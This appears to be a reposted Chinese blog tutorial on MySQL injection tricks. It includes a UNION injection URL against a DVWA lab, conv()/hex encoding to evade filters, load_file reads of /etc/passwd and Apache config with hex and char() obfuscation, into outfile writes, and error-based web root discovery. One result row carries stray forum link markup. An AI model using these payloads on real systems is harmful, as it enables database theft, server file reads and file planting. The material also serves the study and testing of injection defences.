• MySQL注入技巧性研究


    0x00 前言
    MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了一下研究,针对一些注入技巧进行了分析,本文主要从MySQL数据库的角度针对SQL注入技巧参考一些国外文档进行了研究。

    0x01 Information_Schema.Tables
    我们在渗透测试时候经常会遇到过滤 Information_Schema.Tables 的情况,不能用 Information_Schema.Tables 怎么获取表名?

    从MySQL5.5及以上版本开始,默认存储引擎被称为InnoDB。在MySQL版本5.5及以上版本中如果你运行select @@innodb_version,你可以看到InnoDB的版本几乎与您的MySQL版本相同。


    在MySQL 5.6及以上版本中,我注意到InnoDB的2个新表。innodb_index_stats和 innodb_table_stats。这两个表都包含所有新创建的数据库和表名。


    让我们来看看这个表


    示例:DVWA环境下

    http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23

    演示:



    0x02 字母转换成数字
    这个方法的思路是先将字母保存为数字,然后再解码回来。主要的编码方法如下:

    字符串 -> 十六进制 -> 十进制


    首先我们来认识几个函数:

    hex():可以用将一个字符串或数字转换为十六进制格式的字符串
    unhex():把十六进制格式的字符串转化为原来的格式
    conv():MySQL数字的进制转换


    首先我们将 version() 转换成十六进制然后再转换成十进制:

    mysql> select conv(hex(version()), 16, 10);
    +--------------------------------+
    | conv(hex(version()), 16, 10)   |
    +--------------------------------+
    | 58472576987956                 |
    +--------------------------------+


    然后解码就很简单了:

    mysql> select unhex(conv(58472576987956,10,16));
    +-----------------------------------+
    | unhex(conv(58472576987956,10,16)) |
    +-----------------------------------+
    | 5.5.34                            |
    +-----------------------------------+

    注意,这里是有限制的,在MySQL中最高的数据类型是BIGINT。我们不能超过它,字符串的最大长度可以是8个字符。下面看演示:

    mysql> select conv(hex('AAAAAAAA'),16,10);
    +-----------------------------+
    | conv(hex('AAAAAAAA'),16,10) |
    +-----------------------------+
    | 4702111234474983745         |
    +-----------------------------+
    1 row in set (0.00 sec)
     
    mysql> select unhex(conv(4702111234474983745,10,16));
    +----------------------------------------+
    | unhex(conv(4702111234474983745,10,16)) |
    +----------------------------------------+
    | AAAAAAAA                               |
    +----------------------------------------+

    可以发现值4702111234474983745可以被解码回AAAAAAAA如果我们再添加一个呢?

    mysql> select conv(hex('AAAAAAAAA'),16,10);
    +------------------------------+
    | conv(hex('AAAAAAAAA'),16,10) |
    +------------------------------+
    | 18446744073709551615         |
    +------------------------------+
    1 row in set (0.00 sec)
     
    mysql> select conv(hex('AAAAAAAAA'),16,10) = ~0;
    +-----------------------------------+
    | conv(hex('AAAAAAAAA'),16,10) = ~0 |
    +-----------------------------------+
    |                                 1 |
    +-----------------------------------+
    1 row in set (0.00 sec)

    我们不会得到一个正确的十进制值,而是无符号的无符号BIGINT。我们知道了这个限制就很容易了,我们可以在编码的时候使用substr()函数来截取字符串,最后解码的时候使用concat()函数连接字符串。

    mysql> select conv(hex(substr(user(),1,8)),16,10);
    +-------------------------------------+
    | conv(hex(substr(user(),1,8)),16,10) |
    +-------------------------------------+
    | 8245931987826405219                 |
    +-------------------------------------+
     
    mysql> select conv(hex(substr(user(),9,16)),16,10);
    +--------------------------------------+
    | conv(hex(substr(user(),9,16)),16,10) |
    +--------------------------------------+
    | 107118236496756                      |
    +--------------------------------------+
     
    然后使用concat()函数连接:
     
    mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10,16)));
    +----------------------------------------------------------------------------------------+
    | concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
    +----------------------------------------------------------------------------------------+
    | root[url=home.php?mod=space&uid=163960]@localhost[/url]                                                                         |
    +----------------------------------------------------------------------------------------+

    0x03 Load File 和 Into OutFile
    很多人肯定都很熟悉这两个,还是并没有去过多深入了解一下,下面我们就来看一下什么是Load File 和 Into OutFile。

    Load File: 读取文件并以字符串形式返回文件内容。

    Load File: 将所选行写入文件,该文件会在服务器主机上进行创建,所以你必须要有执行这条命令的权限,还要注意要写入的文件不能是现有的文件。如:/etc/passwd

    获取mysql.user和文件权限

    mysql> select group_concat(user,0x3a,file_priv) from mysql.user;
    +-----------------------------------+
    | group_concat(user,0x3a,file_priv) |
    +-----------------------------------+
    | root:Y,root:Y,root:Y              |
    +-----------------------------------+
    1 row in set (0.00 sec)
     
    mysql>

    可以看见你的名字旁边有个Y,这就代表你有文件权限,N就是没有。

    Load File

    select load_file('/etc/passwd');

    最简单的形式就是这样,下面就是一些tip:

    1、../ 它可以帮助返回上一级目录,必要时能帮助你

    select load_file('/etc/php/../passwd');

    2、使用16进制

    select load_file(0x2f6574632f706173737764);


    3、使用char函数

    select load_file(char(47,101,116,99,47,112,97,115,115,119,100));



    Into OutFile

    基本格式很简单

    select 'test' into outfile '/home/1.txt';

    下面就是一些tip:
    1、如果你有两个列或者更多的列,你必须使用null来替换该列,否则这些数据会和文本一起写入你的文件。
    2、如果你想要在文本中使用 Return/Enter 按钮,你可以转换成hex或者使用char函数。

    0x04 探测web服务器路径
    在某些情况下,Web服务器根目录不在默认文件夹中,这里我们有两种办法来获取。

    基于报错
    默认情况下,PHP关闭自定义错误消息。有很多方法来强制 应用程序返回包含内部信息的错误消息。

    比如注入一个单引号:

    Fatal error: Call to a member function execute() on a non-object in /var/www/output.php
    on line 15

    通过LOAD_FILE方法
    默认Apache配置文件包含了Apache Web服务器根目录的路径,使用此功能,用户需要文件特权。该文件也必须是可读的。
    下面是在Apache 2.2版本上加载Apache配置文件的查询的示例:

    SELECT LOAD_FILE('/etc/apache2/sites-available/default')

    0x05 总结
    谢谢大家阅读本文,MySQL数据库非常灵活,本文或许也只介绍到了其中的一点点小技巧,欢迎大家回帖交流更多的小技巧。谢谢大家,如本文有哪里错误,欢迎指正。

  • 相关阅读:
    pycharm 快捷键
    jquery .on
    javaweb项目的优化
    python笔记
    git上解决代码冲突(merge版)
    OpenERP里面继承的用法
    OpenERP新手易犯错误之res.model
    bootstrap 仿实例
    深入理解Binder(二),Binder是什么?
    深入理解Binder(一),从AIDL谈起
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/6564781.html
Copyright © 2020-2023  润新知